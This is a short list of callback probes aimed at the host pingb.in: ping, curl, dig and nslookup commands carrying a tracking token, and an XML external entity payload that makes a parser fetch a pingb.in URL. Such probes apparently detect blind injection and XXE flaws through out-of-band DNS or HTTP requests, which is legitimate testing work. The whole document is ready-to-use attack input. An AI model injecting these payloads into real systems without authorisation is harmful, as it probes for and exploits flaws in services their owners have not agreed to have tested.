$ ping -c1 -p 0065af4dba0bdaddffea528e9ecba200 pingb.in
$ curl pingb.in/p/65af4dba0bdaddffea528e9ecba2
$ dig 65af4dba0bdaddffea528e9ecba2 @pingb.in
$ dig 65af4dba0bdaddffea528e9ecba2.ns.pingb.in
C:\> nslookup 65af4dba0bdaddffea528e9ecba2 pingb.in
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://pingb.in/p/65af4dba0bdaddffea528e9ecba2">]> <foo>&xxe;</foo>